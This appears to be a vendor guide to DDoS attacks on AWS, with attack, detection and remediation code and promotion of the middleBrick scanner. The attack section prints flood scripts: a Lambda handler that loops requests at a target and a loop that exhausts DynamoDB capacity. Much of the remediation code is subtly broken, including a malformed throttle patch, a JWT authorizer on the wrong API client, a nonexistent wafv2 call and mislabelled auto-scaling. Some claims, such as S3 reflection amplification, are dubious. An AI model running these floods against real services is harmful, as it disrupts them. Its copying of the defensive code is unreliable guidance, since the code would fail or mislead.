Distributed Denial Of Service on Aws
How Distributed Denial Of Service Manifests in Aws
Distributed Denial of Service (DDoS) attacks targeting AWS environments exploit the platform's massive scale and interconnected services. Attackers leverage AWS's own infrastructure against itself, creating amplification scenarios that can overwhelm even the most robust cloud deployments.
One common pattern involves EC2 instances being compromised and used to launch coordinated attacks against other AWS services. For example, an attacker might use compromised Lambda functions to flood an API Gateway endpoint, taking advantage of Lambda's massive concurrency limits. The attack code might look like this:
import boto3
import requests
import time
def lambda_handler(event, context):
client = boto3.client('apigateway')
target_url = 'https://api.example.com/vulnerable-endpoint'
while True:
try:
# Flood the target with requests
response = requests.get(target_url, timeout=1)
print(f'Request sent: {response.status_code}')
except Exception as e:
print(f'Error: {str(e)}')
time.sleep(0.1) # Rapid-fire requestsThis code demonstrates how a single Lambda function can generate massive request volumes due to AWS's automatic scaling. The function runs in multiple concurrent instances, each making hundreds of requests per second.
Another AWS-specific DDoS vector targets DynamoDB through provisioned throughput exhaustion. Attackers craft requests that hit provisioned capacity limits:
import boto3
import random
from datetime import datetime
def attack_dynamodb():
dynamodb = boto3.resource('dynamodb')
table = dynamodb.Table('UserDataTable')
while True:
# Generate random read/write operations
operation = random.choice(['get', 'put'])
if operation == 'get':
# Read operations consume read capacity
item_id = random.randint(1, 10000)
table.get_item(Key={'id': item_id})
else:
# Write operations consume write capacity
table.put_item(
Item={
'id': random.randint(1, 10000),
'data': 'A' * 1000,
'timestamp': datetime.now().isoformat()
}
)The most sophisticated AWS DDoS attacks exploit service-to-service communication. For instance, an attacker might use S3 bucket policies to create a reflection attack, where S3 buckets configured with public access are used to amplify traffic against a target.
AWS-Specific Detection
Detecting DDoS attacks in AWS requires monitoring multiple service-specific metrics and understanding AWS's unique attack surfaces. CloudWatch provides the foundation for detection, but you need to configure the right alarms and understand what constitutes normal behavior for your specific architecture.
For API Gateway DDoS detection, monitor these key metrics:
import boto3
from datetime import datetime, timedelta
def check_api_ddos():
cloudwatch = boto3.client('cloudwatch')
# Get metrics from the last 5 minutes
end_time = datetime.utcnow()
start_time = end_time - timedelta(minutes=5)
response = cloudwatch.get_metric_statistics(
Namespace='AWS/ApiGateway',
MetricName='Count',
Dimensions=[
{
'Name': 'Stage',
'Value': 'prod'
}
],
StartTime=start_time,
EndTime=end_time,
Period=300,
Statistics=['Sum', 'Average']
)
if response['Datapoints']:
total_requests = sum([dp['Sum'] for dp in response['Datapoints']])
avg_requests = total_requests / len(response['Datapoints'])
# Define DDoS threshold (example: 10x normal traffic)
if avg_requests > 1000: # Adjust based on your baseline
return {
'status': 'ALERT',
'message': f'Potential DDoS detected: {avg_requests} req/min',
'severity': 'high'
}
return {'status': 'OK', 'message': 'Traffic normal'}For EC2-based DDoS detection, you need to monitor network traffic patterns and instance behavior:
def detect_ec2_ddos(instance_id):
cloudwatch = boto3.client('cloudwatch')
# Get network traffic metrics
metrics = cloudwatch.get_metric_statistics(
Namespace='AWS/EC2',
MetricName='NetworkIn',
Dimensions=[{'Name': 'InstanceId', 'Value': instance_id}],
StartTime=datetime.utcnow() - timedelta(minutes=5),
EndTime=datetime.utcnow(),
Period=300,
Statistics=['Sum', 'Average']
)
if metrics['Datapoints']:
total_traffic = sum([dp['Sum'] for dp in metrics['Datapoints']])
# DDoS threshold: 100x normal traffic
if total_traffic > 1000000000: # 1 GB in 5 minutes
return True
return FalsemiddleBrick's DDoS detection capabilities specifically target AWS service configurations that can be exploited for amplification attacks. The scanner examines:
| Check Type | What It Scans | Risk Level |
|---|---|---|
| Lambda Concurrency | Unrestricted function scaling limits | High |
| DynamoDB Throughput | Provisioned capacity settings | Medium |
| API Gateway Throttling | Rate limiting configurations | High |
| S3 Bucket Policies | Public access and CORS settings | Medium |
The middleBrick CLI provides quick DDoS vulnerability scanning:
npm install -g middlebrick
# Scan an AWS API endpoint
middlebrick scan https://api.example.com --output json
# Scan with specific AWS checks
middlebrick scan https://api.example.com --checks aws-ddosFor continuous monitoring, middleBrick's Pro plan can be configured to scan your AWS APIs on a schedule, alerting you when DDoS vulnerabilities appear or when your security score drops below your threshold.
AWS-Specific Remediation
Remediating DDoS vulnerabilities in AWS requires leveraging the platform's native security features. AWS Shield Advanced provides automatic DDoS protection, but you need to configure it properly for your specific services.
For API Gateway DDoS protection, implement rate limiting and throttling:
import boto3
from botocore.exceptions import ClientError
def configure_api_throttling(api_id, stage_name):
client = boto3.client('apigateway')
# Set throttling limits (example: 1000 reqs/sec, burst 2000)
throttling = {
'throttle': {
'burstLimit': 2000,
'rateLimit': 1000.0
}
}
try:
client.update_stage(
restApiId=api_id,
stageName=stage_name,
patchOperations=[{
'op': 'replace',
'path': f'//{stage_name}/throttle',
'value': str(throttling)
}]
)
print('Throttling configured successfully')
except ClientError as e:
print(f'Error configuring throttling: {e}')For Lambda DDoS protection, implement concurrency limits and API Gateway authorizers:
import boto3
def secure_lambda_with_limits(function_name):
lambda_client = boto3.client('lambda')
# Set reserved concurrency to prevent resource exhaustion
lambda_client.put_function_concurrency(
FunctionName=function_name,
ReservedConcurrentExecutions=100 # Adjust based on needs
)
# Add API Gateway authorizer for additional protection
api_client = boto3.client('apigateway')
# Create JWT authorizer
authorizer = api_client.create_authorizer(
restApiId='your-api-id',
name='JWTAuthorizer',
type='JWT',
identitySource='method.request.header.Authorization',
jwtConfiguration={
'audience': ['your-audience'],
'issuer': 'https://your-issuer'
}
)
print('Lambda security configured')For DynamoDB DDoS protection, implement provisioned capacity with auto-scaling and request throttling:
import boto3
from botocore.exceptions import ClientError
def secure_dynamodb_table(table_name):
dynamodb = boto3.resource('dynamodb')
table = dynamodb.Table(table_name)
# Enable auto-scaling for read/write capacity
try:
# This would typically be configured via CloudFormation or AWS CLI
# Example: Set minimum capacity to prevent sudden spikes
table.update(
ProvisionedThroughput={
'ReadCapacityUnits': 100,
'WriteCapacityUnits': 50
}
)
print('DynamoDB auto-scaling enabled')
except ClientError as e:
print(f'Error updating table: {e}')
# Implement request-level throttling in application code
import time
import random
def throttled_dynamodb_operation(operation, *args, **kwargs):
while True:
try:
# Execute the DynamoDB operation
return operation(*args, **kwargs)
except ClientError as e:
if e.response['Error']['Code'] == 'ProvisionedThroughputExceededException':
# Exponential backoff
backoff_time = random.uniform(0.1, 1.0)
time.sleep(backoff_time)
else:
raiseFor comprehensive DDoS protection, combine AWS Shield Advanced with WAF rules:
import boto3
def setup_aws_shield_protection():
shield_client = boto3.client('shield')
waf_client = boto3.client('wafv2')
# Enable AWS Shield Advanced (requires subscription)
try:
protection = shield_client.create_protection(
Name='APIProtection',
ResourceArn='arn:aws:apigateway:us-east-1::/restapis/your-api-id'
)
print('AWS Shield Advanced enabled')
except Exception as e:
print(f'Shield setup error: {e}')
# Create WAF rules for common DDoS patterns
try:
# Example: Rate-based rule for API endpoints
rate_rule = waf_client.create_rate_based_rule(
Name='RateLimitRule',
MetricName='RateLimitMetric',
RateLimit=1000, # 1000 requests per 5 minutes
ForwardedIPConfig={
'HeaderName': 'X-Forwarded-For',
'FallbackBehavior': 'MATCH'
}
)
print('WAF rules created')
except Exception as e:
print(f'WAF setup error: {e}')middleBrick's remediation guidance maps directly to these AWS-native solutions, providing specific recommendations based on your scan results. For example, if middleBrick detects unrestricted Lambda concurrency, it will recommend implementing the reserved concurrency limits shown above.